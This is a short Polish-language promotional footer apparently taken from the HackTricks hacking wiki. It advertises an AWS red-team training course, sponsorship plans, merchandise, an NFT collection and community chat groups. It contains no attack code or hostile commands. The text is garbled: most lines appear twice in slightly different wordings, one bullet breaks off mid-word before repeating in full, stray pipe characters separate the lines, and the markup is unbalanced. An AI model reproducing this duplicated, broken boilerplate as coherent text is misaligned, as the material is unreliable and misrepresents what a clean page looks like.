<summary><strong>Naucz się hakować AWS od zera do bohatera z</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>Dowiedz się, jak hakować AWS od zera do bohatera z</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Inne sposoby wsparcia HackTricks:
|
||||
|
||||
* Jeśli chcesz zobaczyć swoją **firmę reklamowaną w HackTricks** lub **pobrać HackTricks w formacie PDF**, sprawdź [**PLAN SUBSKRYPCJI**](https://github.com/sponsors/carlospolop)!
|
||||
* Jeśli chcesz zobaczyć swoją **firmę reklamowaną w HackTricks** lub **pobrać HackTricks w formacie PDF**, sprawdź [**PLAN SUBSKRYPCYJNY**](https://github.com/sponsors/carlospolop)!
|
||||
* Zdobądź [**oficjalne gadżety PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Odkryj [**Rodzin
|
||||
* Odkryj [**Rodzinę PEASS**](https://opensea.io/collection/the-peass-family), naszą kolekcję ekskluzywnych [**NFT**](https://opensea.io/collection/the-peass-family)
|
||||
* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Podziel się swoimi sztuczkami hakerskimi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) na Githubie.
|
||||
|
||||
</details>
|
||||
|
|